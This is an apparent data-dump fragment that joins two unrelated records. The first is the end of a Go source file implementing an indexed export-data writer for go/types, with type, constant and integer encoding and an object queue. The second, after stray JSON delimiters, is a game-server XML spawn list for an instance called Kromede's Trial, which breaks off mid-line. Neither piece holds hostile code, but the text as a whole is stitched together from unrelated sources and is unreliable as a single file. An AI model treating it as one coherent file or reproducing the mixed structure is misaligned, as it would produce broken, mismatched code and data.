it.\n\tpkgObjs[w.p.localpkg] = nil\n\tfor pkg := range w.p.allPkgs {\n\t\tpkgObjs[pkg] = nil\n\t}\n\n\tfor obj := range index {\n\t\tpkgObjs[obj.Pkg()] = append(pkgObjs[obj.Pkg()], obj)\n\t}\n\n\tvar pkgs []*types.Package\n\tfor pkg, objs := range pkgObjs {\n\t\tpkgs = append(pkgs, pkg)\n\n\t\tsort.Slice(objs, func(i, j int) bool {\n\t\t\treturn objs[i].Name() < objs[j].Name()\n\t\t})\n\t}\n\n\tsort.Slice(pkgs, func(i, j int) bool {\n\t\treturn w.exportPath(pkgs[i]) < w.exportPath(pkgs[j])\n\t})\n\n\tw.uint64(uint64(len(pkgs)))\n\tfor _, pkg := range pkgs {\n\t\tw.string(w.exportPath(pkg))\n\t\tw.string(pkg.Name())\n\t\tw.uint64(uint64(0)) // package height is not needed for go/types\n\n\t\tobjs := pkgObjs[pkg]\n\t\tw.uint64(uint64(len(objs)))\n\t\tfor _, obj := range objs {\n\t\t\tw.string(obj.Name())\n\t\t\tw.uint64(index[obj])\n\t\t}\n\t}\n}\n\ntype iexporter struct {\n\tfset *token.FileSet\n\tout *bytes.Buffer\n\n\tlocalpkg *types.Package\n\n\t// allPkgs tracks all packages that have been referenced by\n\t// the export data, so we can ensure to include them in the\n\t// main index.\n\tallPkgs map[*types.Package]bool\n\n\tdeclTodo objQueue\n\n\tstrings intWriter\n\tstringIndex map[string]uint64\n\n\tdata0 intWriter\n\tdeclIndex map[types.Object]uint64\n\ttypIndex map[types.Type]uint64\n}\n\n// stringOff returns the offset of s within the string section.\n// If not already present, it's added to the end.\nfunc (p *iexporter) stringOff(s string) uint64 {\n\toff, ok := p.stringIndex[s]\n\tif !ok {\n\t\toff = uint64(p.strings.Len())\n\t\tp.stringIndex[s] = off\n\n\t\tp.strings.uint64(uint64(len(s)))\n\t\tp.strings.WriteString(s)\n\t}\n\treturn off\n}\n\n// pushDecl adds n to the declaration work queue, if not already present.\nfunc (p *iexporter) pushDecl(obj types.Object) {\n\t// Package unsafe is known to the compiler and predeclared.\n\tassert(obj.Pkg() != types.Unsafe)\n\n\tif _, ok := p.declIndex[obj]; ok {\n\t\treturn\n\t}\n\n\tp.declIndex[obj] = ^uint64(0) // mark n present in work queue\n\tp.declTodo.pushTail(obj)\n}\n\n// exportWriter handles writing out individual data section chunks.\ntype exportWriter struct {\n\tp *iexporter\n\n\tdata intWriter\n\tcurrPkg *types.Package\n\tprevFile string\n\tprevLine int64\n}\n\nfunc (w *exportWriter) exportPath(pkg *types.Package) string {\n\tif pkg == w.p.localpkg {\n\t\treturn \"\"\n\t}\n\treturn pkg.Path()\n}\n\nfunc (p *iexporter) doDecl(obj types.Object) {\n\tw := p.newWriter()\n\tw.setPkg(obj.Pkg(), false)\n\n\tswitch obj := obj.(type) {\n\tcase *types.Var:\n\t\tw.tag('V')\n\t\tw.pos(obj.Pos())\n\t\tw.typ(obj.Type(), obj.Pkg())\n\n\tcase *types.Func:\n\t\tsig, _ := obj.Type().(*types.Signature)\n\t\tif sig.Recv() != nil {\n\t\t\tpanic(internalErrorf(\"unexpected method: %v\", sig))\n\t\t}\n\t\tw.tag('F')\n\t\tw.pos(obj.Pos())\n\t\tw.signature(sig)\n\n\tcase *types.Const:\n\t\tw.tag('C')\n\t\tw.pos(obj.Pos())\n\t\tw.value(obj.Type(), obj.Val())\n\n\tcase *types.TypeName:\n\t\tif obj.IsAlias() {\n\t\t\tw.tag('A')\n\t\t\tw.pos(obj.Pos())\n\t\t\tw.typ(obj.Type(), obj.Pkg())\n\t\t\tbreak\n\t\t}\n\n\t\t// Defined type.\n\t\tw.tag('T')\n\t\tw.pos(obj.Pos())\n\n\t\tunderlying := obj.Type().Underlying()\n\t\tw.typ(underlying, obj.Pkg())\n\n\t\tt := obj.Type()\n\t\tif types.IsInterface(t) {\n\t\t\tbreak\n\t\t}\n\n\t\tnamed, ok := t.(*types.Named)\n\t\tif !ok {\n\t\t\tpanic(internalErrorf(\"%s is not a defined type\", t))\n\t\t}\n\n\t\tn := named.NumMethods()\n\t\tw.uint64(uint64(n))\n\t\tfor i := 0; i < n; i++ {\n\t\t\tm := named.Method(i)\n\t\t\tw.pos(m.Pos())\n\t\t\tw.string(m.Name())\n\t\t\tsig, _ := m.Type().(*types.Signature)\n\t\t\tw.param(sig.Recv())\n\t\t\tw.signature(sig)\n\t\t}\n\n\tdefault:\n\t\tpanic(internalErrorf(\"unexpected object: %v\", obj))\n\t}\n\n\tp.declIndex[obj] = w.flush()\n}\n\nfunc (w *exportWriter) tag(tag byte) {\n\tw.data.WriteByte(tag)\n}\n\nfunc (w *exportWriter) pos(pos token.Pos) {\n\tif w.p.fset == nil {\n\t\tw.int64(0)\n\t\treturn\n\t}\n\n\tp := w.p.fset.Position(pos)\n\tfile := p.Filename\n\tline := int64(p.Line)\n\n\t// When file is the same as the last position (common case),\n\t// we can save a few bytes by delta encoding just the line\n\t// number.\n\t//\n\t// Note: Because data objects may be read out of order (or not\n\t// at all), we can only apply delta encoding within a single\n\t// object. This is handled implicitly by tracking prevFile and\n\t// prevLine as fields of exportWriter.\n\n\tif file == w.prevFile {\n\t\tdelta := line - w.prevLine\n\t\tw.int64(delta)\n\t\tif delta == deltaNewFile {\n\t\t\tw.int64(-1)\n\t\t}\n\t} else {\n\t\tw.int64(deltaNewFile)\n\t\tw.int64(line) // line >= 0\n\t\tw.string(file)\n\t\tw.prevFile = file\n\t}\n\tw.prevLine = line\n}\n\nfunc (w *exportWriter) pkg(pkg *types.Package) {\n\t// Ensure any referenced packages are declared in the main index.\n\tw.p.allPkgs[pkg] = true\n\n\tw.string(w.exportPath(pkg))\n}\n\nfunc (w *exportWriter) qualifiedIdent(obj types.Object) {\n\t// Ensure any referenced declarations are written out too.\n\tw.p.pushDecl(obj)\n\n\tw.string(obj.Name())\n\tw.pkg(obj.Pkg())\n}\n\nfunc (w *exportWriter) typ(t types.Type, pkg *types.Package) {\n\tw.data.uint64(w.p.typOff(t, pkg))\n}\n\nfunc (p *iexporter) newWriter() *exportWriter {\n\treturn &exportWriter{p: p}\n}\n\nfunc (w *exportWriter) flush() uint64 {\n\toff := uint64(w.p.data0.Len())\n\tio.Copy(&w.p.data0, &w.data)\n\treturn off\n}\n\nfunc (p *iexporter) typOff(t types.Type, pkg *types.Package) uint64 {\n\toff, ok := p.typIndex[t]\n\tif !ok {\n\t\tw := p.newWriter()\n\t\tw.doTyp(t, pkg)\n\t\toff = predeclReserved + w.flush()\n\t\tp.typIndex[t] = off\n\t}\n\treturn off\n}\n\nfunc (w *exportWriter) startType(k itag) {\n\tw.data.uint64(uint64(k))\n}\n\nfunc (w *exportWriter) doTyp(t types.Type, pkg *types.Package) {\n\tswitch t := t.(type) {\n\tcase *types.Named:\n\t\tw.startType(definedType)\n\t\tw.qualifiedIdent(t.Obj())\n\n\tcase *types.Pointer:\n\t\tw.startType(pointerType)\n\t\tw.typ(t.Elem(), pkg)\n\n\tcase *types.Slice:\n\t\tw.startType(sliceType)\n\t\tw.typ(t.Elem(), pkg)\n\n\tcase *types.Array:\n\t\tw.startType(arrayType)\n\t\tw.uint64(uint64(t.Len()))\n\t\tw.typ(t.Elem(), pkg)\n\n\tcase *types.Chan:\n\t\tw.startType(chanType)\n\t\t// 1 RecvOnly; 2 SendOnly; 3 SendRecv\n\t\tvar dir uint64\n\t\tswitch t.Dir() {\n\t\tcase types.RecvOnly:\n\t\t\tdir = 1\n\t\tcase types.SendOnly:\n\t\t\tdir = 2\n\t\tcase types.SendRecv:\n\t\t\tdir = 3\n\t\t}\n\t\tw.uint64(dir)\n\t\tw.typ(t.Elem(), pkg)\n\n\tcase *types.Map:\n\t\tw.startType(mapType)\n\t\tw.typ(t.Key(), pkg)\n\t\tw.typ(t.Elem(), pkg)\n\n\tcase *types.Signature:\n\t\tw.startType(signatureType)\n\t\tw.setPkg(pkg, true)\n\t\tw.signature(t)\n\n\tcase *types.Struct:\n\t\tw.startType(structType)\n\t\tw.setPkg(pkg, true)\n\n\t\tn := t.NumFields()\n\t\tw.uint64(uint64(n))\n\t\tfor i := 0; i < n; i++ {\n\t\t\tf := t.Field(i)\n\t\t\tw.pos(f.Pos())\n\t\t\tw.string(f.Name())\n\t\t\tw.typ(f.Type(), pkg)\n\t\t\tw.bool(f.Anonymous())\n\t\t\tw.string(t.Tag(i)) // note (or tag)\n\t\t}\n\n\tcase *types.Interface:\n\t\tw.startType(interfaceType)\n\t\tw.setPkg(pkg, true)\n\n\t\tn := t.NumEmbeddeds()\n\t\tw.uint64(uint64(n))\n\t\tfor i := 0; i < n; i++ {\n\t\t\tf := t.Embedded(i)\n\t\t\tw.pos(f.Obj().Pos())\n\t\t\tw.typ(f.Obj().Type(), f.Obj().Pkg())\n\t\t}\n\n\t\tn = t.NumExplicitMethods()\n\t\tw.uint64(uint64(n))\n\t\tfor i := 0; i < n; i++ {\n\t\t\tm := t.ExplicitMethod(i)\n\t\t\tw.pos(m.Pos())\n\t\t\tw.string(m.Name())\n\t\t\tsig, _ := m.Type().(*types.Signature)\n\t\t\tw.signature(sig)\n\t\t}\n\n\tdefault:\n\t\tpanic(internalErrorf(\"unexpected type: %v, %v\", t, reflect.TypeOf(t)))\n\t}\n}\n\nfunc (w *exportWriter) setPkg(pkg *types.Package, write bool) {\n\tif write {\n\t\tw.pkg(pkg)\n\t}\n\n\tw.currPkg = pkg\n}\n\nfunc (w *exportWriter) signature(sig *types.Signature) {\n\tw.paramList(sig.Params())\n\tw.paramList(sig.Results())\n\tif sig.Params().Len() > 0 {\n\t\tw.bool(sig.Variadic())\n\t}\n}\n\nfunc (w *exportWriter) paramList(tup *types.Tuple) {\n\tn := tup.Len()\n\tw.uint64(uint64(n))\n\tfor i := 0; i < n; i++ {\n\t\tw.param(tup.At(i))\n\t}\n}\n\nfunc (w *exportWriter) param(obj types.Object) {\n\tw.pos(obj.Pos())\n\tw.localIdent(obj)\n\tw.typ(obj.Type(), obj.Pkg())\n}\n\nfunc (w *exportWriter) value(typ types.Type, v constant.Value) {\n\tw.typ(typ, nil)\n\n\tswitch v.Kind() {\n\tcase constant.Bool:\n\t\tw.bool(constant.BoolVal(v))\n\tcase constant.Int:\n\t\tvar i big.Int\n\t\tif i64, exact := constant.Int64Val(v); exact {\n\t\t\ti.SetInt64(i64)\n\t\t} else if ui64, exact := constant.Uint64Val(v); exact {\n\t\t\ti.SetUint64(ui64)\n\t\t} else {\n\t\t\ti.SetString(v.ExactString(), 10)\n\t\t}\n\t\tw.mpint(&i, typ)\n\tcase constant.Float:\n\t\tf := constantToFloat(v)\n\t\tw.mpfloat(f, typ)\n\tcase constant.Complex:\n\t\tw.mpfloat(constantToFloat(constant.Real(v)), typ)\n\t\tw.mpfloat(constantToFloat(constant.Imag(v)), typ)\n\tcase constant.String:\n\t\tw.string(constant.StringVal(v))\n\tcase constant.Unknown:\n\t\t// package contains type errors\n\tdefault:\n\t\tpanic(internalErrorf(\"unexpected value %v (%T)\", v, v))\n\t}\n}\n\n// constantToFloat converts a constant.Value with kind constant.Float to a\n// big.Float.\nfunc constantToFloat(x constant.Value) *big.Float {\n\tassert(x.Kind() == constant.Float)\n\t// Use the same floating-point precision (512) as cmd/compile\n\t// (see Mpprec in cmd/compile/internal/gc/mpfloat.go).\n\tconst mpprec = 512\n\tvar f big.Float\n\tf.SetPrec(mpprec)\n\tif v, exact := constant.Float64Val(x); exact {\n\t\t// float64\n\t\tf.SetFloat64(v)\n\t} else if num, denom := constant.Num(x), constant.Denom(x); num.Kind() == constant.Int {\n\t\t// TODO(gri): add big.Rat accessor to constant.Value.\n\t\tn := valueToRat(num)\n\t\td := valueToRat(denom)\n\t\tf.SetRat(n.Quo(n, d))\n\t} else {\n\t\t// Value too large to represent as a fraction => inaccessible.\n\t\t// TODO(gri): add big.Float accessor to constant.Value.\n\t\t_, ok := f.SetString(x.ExactString())\n\t\tassert(ok)\n\t}\n\treturn &f\n}\n\n// mpint exports a multi-precision integer.\n//\n// For unsigned types, small values are written out as a single\n// byte. Larger values are written out as a length-prefixed big-endian\n// byte string, where the length prefix is encoded as its complement.\n// For example, bytes 0, 1, and 2 directly represent the integer\n// values 0, 1, and 2; while bytes 255, 254, and 253 indicate a 1-,\n// 2-, and 3-byte big-endian string follow.\n//\n// Encoding for signed types use the same general approach as for\n// unsigned types, except small values use zig-zag encoding and the\n// bottom bit of length prefix byte for large values is reserved as a\n// sign bit.\n//\n// The exact boundary between small and large encodings varies\n// according to the maximum number of bytes needed to encode a value\n// of type typ. As a special case, 8-bit types are always encoded as a\n// single byte.\n//\n// TODO(mdempsky): Is this level of complexity really worthwhile?\nfunc (w *exportWriter) mpint(x *big.Int, typ types.Type) {\n\tbasic, ok := typ.Underlying().(*types.Basic)\n\tif !ok {\n\t\tpanic(internalErrorf(\"unexpected type %v (%T)\", typ.Underlying(), typ.Underlying()))\n\t}\n\n\tsigned, maxBytes := intSize(basic)\n\n\tnegative := x.Sign() < 0\n\tif !signed && negative {\n\t\tpanic(internalErrorf(\"negative unsigned integer; type %v, value %v\", typ, x))\n\t}\n\n\tb := x.Bytes()\n\tif len(b) > 0 && b[0] == 0 {\n\t\tpanic(internalErrorf(\"leading zeros\"))\n\t}\n\tif uint(len(b)) > maxBytes {\n\t\tpanic(internalErrorf(\"bad mpint length: %d > %d (type %v, value %v)\", len(b), maxBytes, typ, x))\n\t}\n\n\tmaxSmall := 256 - maxBytes\n\tif signed {\n\t\tmaxSmall = 256 - 2*maxBytes\n\t}\n\tif maxBytes == 1 {\n\t\tmaxSmall = 256\n\t}\n\n\t// Check if x can use small value encoding.\n\tif len(b) <= 1 {\n\t\tvar ux uint\n\t\tif len(b) == 1 {\n\t\t\tux = uint(b[0])\n\t\t}\n\t\tif signed {\n\t\t\tux <<= 1\n\t\t\tif negative {\n\t\t\t\tux--\n\t\t\t}\n\t\t}\n\t\tif ux < maxSmall {\n\t\t\tw.data.WriteByte(byte(ux))\n\t\t\treturn\n\t\t}\n\t}\n\n\tn := 256 - uint(len(b))\n\tif signed {\n\t\tn = 256 - 2*uint(len(b))\n\t\tif negative {\n\t\t\tn |= 1\n\t\t}\n\t}\n\tif n < maxSmall || n >= 256 {\n\t\tpanic(internalErrorf(\"encoding mistake: %d, %v, %v => %d\", len(b), signed, negative, n))\n\t}\n\n\tw.data.WriteByte(byte(n))\n\tw.data.Write(b)\n}\n\n// mpfloat exports a multi-precision floating point number.\n//\n// The number's value is decomposed into mantissa × 2**exponent, where\n// mantissa is an integer. The value is written out as mantissa (as a\n// multi-precision integer) and then the exponent, except exponent is\n// omitted if mantissa is zero.\nfunc (w *exportWriter) mpfloat(f *big.Float, typ types.Type) {\n\tif f.IsInf() {\n\t\tpanic(\"infinite constant\")\n\t}\n\n\t// Break into f = mant × 2**exp, with 0.5 <= mant < 1.\n\tvar mant big.Float\n\texp := int64(f.MantExp(&mant))\n\n\t// Scale so that mant is an integer.\n\tprec := mant.MinPrec()\n\tmant.SetMantExp(&mant, int(prec))\n\texp -= int64(prec)\n\n\tmanti, acc := mant.Int(nil)\n\tif acc != big.Exact {\n\t\tpanic(internalErrorf(\"mantissa scaling failed for %f (%s)\", f, acc))\n\t}\n\tw.mpint(manti, typ)\n\tif manti.Sign() != 0 {\n\t\tw.int64(exp)\n\t}\n}\n\nfunc (w *exportWriter) bool(b bool) bool {\n\tvar x uint64\n\tif b {\n\t\tx = 1\n\t}\n\tw.uint64(x)\n\treturn b\n}\n\nfunc (w *exportWriter) int64(x int64) { w.data.int64(x) }\nfunc (w *exportWriter) uint64(x uint64) { w.data.uint64(x) }\nfunc (w *exportWriter) string(s string) { w.uint64(w.p.stringOff(s)) }\n\nfunc (w *exportWriter) localIdent(obj types.Object) {\n\t// Anonymous parameters.\n\tif obj == nil {\n\t\tw.string(\"\")\n\t\treturn\n\t}\n\n\tname := obj.Name()\n\tif name == \"_\" {\n\t\tw.string(\"_\")\n\t\treturn\n\t}\n\n\tw.string(name)\n}\n\ntype intWriter struct {\n\tbytes.Buffer\n}\n\nfunc (w *intWriter) int64(x int64) {\n\tvar buf [binary.MaxVarintLen64]byte\n\tn := binary.PutVarint(buf[:], x)\n\tw.Write(buf[:n])\n}\n\nfunc (w *intWriter) uint64(x uint64) {\n\tvar buf [binary.MaxVarintLen64]byte\n\tn := binary.PutUvarint(buf[:], x)\n\tw.Write(buf[:n])\n}\n\nfunc assert(cond bool) {\n\tif !cond {\n\t\tpanic(\"internal error: assertion failed\")\n\t}\n}\n\n// The below is copied from go/src/cmd/compile/internal/gc/syntax.go.\n\n// objQueue is a FIFO queue of types.Object. The zero value of objQueue is\n// a ready-to-use empty queue.\ntype objQueue struct {\n\tring []types.Object\n\thead, tail int\n}\n\n// empty returns true if q contains no Nodes.\nfunc (q *objQueue) empty() bool {\n\treturn q.head == q.tail\n}\n\n// pushTail appends n to the tail of the queue.\nfunc (q *objQueue) pushTail(obj types.Object) {\n\tif len(q.ring) == 0 {\n\t\tq.ring = make([]types.Object, 16)\n\t} else if q.head+len(q.ring) == q.tail {\n\t\t// Grow the ring.\n\t\tnring := make([]types.Object, len(q.ring)*2)\n\t\t// Copy the old elements.\n\t\tpart := q.ring[q.head%len(q.ring):]\n\t\tif q.tail-q.head <= len(part) {\n\t\t\tpart = part[:q.tail-q.head]\n\t\t\tcopy(nring, part)\n\t\t} else {\n\t\t\tpos := copy(nring, part)\n\t\t\tcopy(nring[pos:], q.ring[:q.tail%len(q.ring)])\n\t\t}\n\t\tq.ring, q.head, q.tail = nring, 0, q.tail-q.head\n\t}\n\n\tq.ring[q.tail%len(q.ring)] = obj\n\tq.tail++\n}\n\n// popHead pops a node from the head of the queue. It panics if q is empty.\nfunc (q *objQueue) popHead() types.Object {\n\tif q.empty() {\n\t\tpanic(\"dequeue empty\")\n\t}\n\tobj := q.ring[q.head%len(q.ring)]\n\tq.head++\n\treturn obj\n}\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\r\n<!-- Parsed via PacketSamurai AionGer-Edtion - [Thu Sep 06 10:47:28 CEST 2018] -->\r\n<spawns>\r\n\t<!-- Kromede's Trial -->\r\n\t<spawn_map map_id=\"300230000\">\r\n\t\t<!-- IDCromede_Invisible_NPC ||| IDCromede_Invisible_NPC -->\r\n\t\t<spawn npc_id=\"282083\">\r\n\t\t\t<spot x=\"710.0\" y=\"629.0\" z=\"198.0\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- IDCromede_Invisible_NPC5 ||| IDCromede_Invisible_NPC5 -->\r\n\t\t<spawn npc_id=\"282087\">\r\n\t\t\t<spot x=\"654.7493\" y=\"561.4789\" z=\"205.21887\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- IDCromede_Invisible_NPC9 ||| IDCromede_Invisible_NPC9 -->\r\n\t\t<spawn npc_id=\"282091\">\r\n\t\t\t<spot x=\"365.45166\" y=\"183.65565\" z=\"146.83829\" h=\"76\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Altar of Healing ||| IDCromede_Invisible_NPC10 -->\r\n\t\t<spawn npc_id=\"282092\">\r\n\t\t\t<spot x=\"643.9172\" y=\"753.299\" z=\"216.15863\" h=\"30\"/>\r\n\t\t\t<spot x=\"643.935\" y=\"795.35126\" z=\"216.15862\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Mana Relic ||| IDCromede_Relic_Blue -->\r\n\t\t<spawn npc_id=\"282093\">\r\n\t\t\t<spot x=\"661.2224\" y=\"767.6592\" z=\"216.23439\" h=\"0\" static_id=\"87\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Strength Relic ||| IDCromede_Relic_Red -->\r\n\t\t<spawn npc_id=\"282095\">\r\n\t\t\t<spot x=\"662.2582\" y=\"782.54895\" z=\"216.23434\" h=\"0\" static_id=\"84\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Stone of Vitality ||| IDCromede_RedStone -->\r\n\t\t<spawn npc_id=\"282103\">\r\n\t\t\t<spot x=\"358.44\" y=\"172.71\" z=\"147.38\" h=\"0\"/>\r\n\t\t\t<spot x=\"349.71683\" y=\"188.79349\" z=\"146.22021\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Life Stone ||| IDCromede_BlueStone -->\r\n\t\t<spawn npc_id=\"282104\">\r\n\t\t\t<spot x=\"354.7\" y=\"176.5\" z=\"147.38\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Altar of Healing ||| IDCromede_Invisible_NPC11 -->\r\n\t\t<spawn npc_id=\"282111\">\r\n\t\t\t<spot x=\"643.92\" y=\"753.3\" z=\"216.15863\" h=\"30\"/>\r\n\t\t\t<spot x=\"643.9378\" y=\"795.35223\" z=\"216.15862\" h=\"30\"/>\r\n\t\t</spawn>\r\n\t\t<!-- IDCromede_Invisible_NPC15 ||| IDCromede_Invisible_NPC15 -->\r\n\t\t<spawn npc_id=\"282115\">\r\n\t\t\t<spot x=\"568.19\" y=\"833.13\" z=\"226.33\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Robstin ||| IDCromede_Invisible_NPC16 -->\r\n\t\t<spawn npc_id=\"282116\">\r\n\t\t\t<spot x=\"677.8253\" y=\"584.14044\" z=\"210.46408\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- IDCromede_Invisible_NPC17 ||| IDCromede_Invisible_NPC17 -->\r\n\t\t<spawn npc_id=\"282117\">\r\n\t\t\t<spot x=\"656.92\" y=\"585.74\" z=\"199.04\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- IDCromede_Invisible_NPC19 ||| IDCromede_Invisible_NPC19 -->\r\n\t\t<spawn npc_id=\"282119\">\r\n\t\t\t<spot x=\"585.92944\" y=\"774.2844\" z=\"215.57028\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Votaic Column ||| IDCromede_Invisible_NPC20 -->\r\n\t\t<spawn npc_id=\"282120\">\r\n\t\t\t<spot x=\"638.7864\" y=\"774.4301\" z=\"215.58362\" h=\"45\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Ancient Temple Nagolem ||| IDCromede_StatueM_38_An -->\r\n\t\t<spawn npc_id=\"282124\">\r\n\t\t\t<spot x=\"633.67\" y=\"791.59\" z=\"216.14\" h=\"0\"/>\r\n\t\t\t<spot x=\"633.67\" y=\"756.79\" z=\"216.14\" h=\"0\"/>\r\n\t\t\t<spot x=\"633.67\" y=\"791.59\" z=\"216.14\" h=\"0\"/>\r\n\t\t\t<spot x=\"633.67\" y=\"756.79\" z=\"216.14\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Ancient Temple Nagolem ||| IDCromede_UnAttack_StatueM_38_An -->\r\n\t\t<spawn npc_id=\"282126\">\r\n\t\t\t<spot x=\"633.68335\" y=\"754.7949\" z=\"216.09479\" h=\"30\"/>\r\n\t\t\t<spot x=\"653.92175\" y=\"754.7974\" z=\"216.09479\" h=\"30\"/>\r\n\t\t\t<spot x=\"613.90295\" y=\"754.87146\" z=\"216.09479\" h=\"30\"/>\r\n\t\t\t<spot x=\"613.88916\" y=\"793.7428\" z=\"216.0948\" h=\"90\"/>\r\n\t\t\t<spot x=\"623.78314\" y=\"754.7766\" z=\"216.09479\" h=\"30\"/>\r\n\t\t\t<spot x=\"623.76935\" y=\"793.64795\" z=\"216.0948\" h=\"90\"/>\r\n\t\t\t<spot x=\"633.66956\" y=\"793.66626\" z=\"216.0948\" h=\"90\"/>\r\n\t\t\t<spot x=\"653.90796\" y=\"793.66876\" z=\"216.0948\" h=\"90\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Troll Lookout ||| IDCromede_01_Troll_38_An -->\r\n\t\t<spawn npc_id=\"653330\">\r\n\t\t\t<spot x=\"307.76007\" y=\"261.66068\" z=\"187.20868\" h=\"16\"/>\r\n\t\t\t<spot x=\"299.0732\" y=\"248.95984\" z=\"187.4869\" h=\"16\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Trollkin Lookout ||| IDCromede_01_trollkin_38_An -->\r\n\t\t<spawn npc_id=\"653331\">\r\n\t\t\t<spot x=\"287.5675\" y=\"241.6895\" z=\"188.21785\" h=\"90\"/>\r\n\t\t\t<spot x=\"315.2513\" y=\"288.56268\" z=\"192.7124\" h=\"60\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Watching Kalgolem ||| IDCromede_01_SouledStone_38_An -->\r\n\t\t<spawn npc_id=\"653332\">\r\n\t\t\t<spot x=\"484.51202\" y=\"363.04913\" z=\"171.83458\" h=\"47\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Net Arachna ||| IDCromede_01_Octaside_38_An -->\r\n\t\t<spawn npc_id=\"653333\">\r\n\t\t\t<spot x=\"414.94025\" y=\"319.4674\" z=\"175.90968\" h=\"71\"/>\r\n\t\t\t<spot x=\"560.92065\" y=\"264.82007\" z=\"150.75479\" h=\"34\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Temple Mugolem ||| IDCromede_01_SAM_Divine_38_An -->\r\n\t\t<spawn npc_id=\"653334\">\r\n\t\t\t<spot x=\"358.5196\" y=\"190.82436\" z=\"146.71289\" h=\"106\"/>\r\n\t\t\t<spot x=\"414.91324\" y=\"246.48947\" z=\"140.60265\" h=\"17\"/>\r\n\t\t\t<spot x=\"372.9814\" y=\"176.13734\" z=\"146.71289\" h=\"46\"/>\r\n\t\t\t<spot x=\"427.23492\" y=\"234.25061\" z=\"140.60265\" h=\"17\"/>\r\n\t\t\t<spot x=\"472.12955\" y=\"353.38046\" z=\"170.9699\" h=\"73\"/>\r\n\t\t\t<spot x=\"514.88696\" y=\"237.74126\" z=\"142.42914\" h=\"40\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Faithful Temple Nagolem ||| IDCromede_01_Statue_M_Divine_38_An -->\r\n\t\t<spawn npc_id=\"653335\">\r\n\t\t\t<spot x=\"347.78094\" y=\"180.34946\" z=\"145.89189\" h=\"39\"/>\r\n\t\t\t<spot x=\"469.75717\" y=\"257.19095\" z=\"138.69754\" h=\"54\"/>\r\n\t\t\t<spot x=\"503.592\" y=\"253.75116\" z=\"141.56602\" h=\"35\"/>\r\n\t\t\t<spot x=\"509.37164\" y=\"217.20876\" z=\"144.96463\" h=\"116\"/>\r\n\t\t\t<spot x=\"358.55695\" y=\"167.30272\" z=\"145.89182\" h=\"112\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Petrahulk Gatekeeper ||| IDCromede_01_Key_Cyclops_worker_38_An -->\r\n\t\t<spawn npc_id=\"653336\">\r\n\t\t\t<spot x=\"392.14615\" y=\"209.72995\" z=\"145.85693\" h=\"15\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Divine Hisen ||| IDCromede_01_Named_Hierarch_38_An -->\r\n\t\t<spawn npc_id=\"653337\">\r\n\t\t\t<spot x=\"352.21\" y=\"170.31\" z=\"146.22023\" h=\"16\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Captive ||| IDCromede_2low_PrisonerWoman1_38_An -->\r\n\t\t<spawn npc_id=\"653338\">\r\n\t\t\t<spot x=\"646.1768\" y=\"615.59393\" z=\"201.19109\" h=\"10\"/>\r\n\t\t\t<spot x=\"645.52496\" y=\"656.3329\" z=\"201.19107\" h=\"10\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Prisoner ||| IDCromede_2low_PrisonerMan2_38_An -->\r\n\t\t<spawn npc_id=\"653339\">\r\n\t\t\t<spot x=\"649.30664\" y=\"594.8346\" z=\"201.19109\" h=\"55\"/>\r\n\t\t\t<spot x=\"662.98846\" y=\"597.07477\" z=\"201.19109\" h=\"6\"/>\r\n\t\t\t<spot x=\"642.6354\" y=\"600.21155\" z=\"201.19109\" h=\"15\"/>\r\n\t\t\t<spot x=\"651.7999\" y=\"653.3091\" z=\"201.19107\" h=\"6\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Captive ||| IDCromede_2low_PrisonerWoman2_38_An -->\r\n\t\t<spawn npc_id=\"653340\">\r\n\t\t\t<spot x=\"666.6195\" y=\"596.9176\" z=\"201.19109\" h=\"53\"/>\r\n\t\t\t<spot x=\"642.1069\" y=\"665.2642\" z=\"201.19107\" h=\"0\"/>\r\n\t\t\t<spot x=\"655.0497\" y=\"656.039\" z=\"201.19107\" h=\"53\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Guard ||| IDCromede_2low_Mguard1_38_An -->\r\n\t\t<spawn npc_id=\"653341\">\r\n\t\t\t<spot x=\"730.8758\" y=\"546.46655\" z=\"198.53853\" h=\"80\"/>\r\n\t\t\t<spot x=\"687.91974\" y=\"505.86328\" z=\"197.9006\" h=\"0\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Sentry ||| IDCromede_2low_Rguard1_38_An -->\r\n\t\t<spawn npc_id=\"653342\">\r\n\t\t\t<spot x=\"729.61957\" y=\"544.4907\" z=\"198.53853\" h=\"20\"/>\r\n\t\t\t<spot x=\"723.33594\" y=\"524.7021\" z=\"197.87419\" h=\"96\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Guard ||| IDCromede_2low_Mguard2_38_An -->\r\n\t\t<spawn npc_id=\"653343\">\r\n\t\t\t<spot x=\"709.93384\" y=\"523.45703\" z=\"197.88683\" h=\"80\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Sentry ||| IDCromede_2low_Rguard2_38_An -->\r\n\t\t<spawn npc_id=\"653344\">\r\n\t\t\t<spot x=\"710.0457\" y=\"543.24805\" z=\"197.88681\" h=\"80\"/>\r\n\t\t</spawn>\r\n\t\t<!-- Dungeon Servant ||| IDCromede_2low_ServantMan_38_An 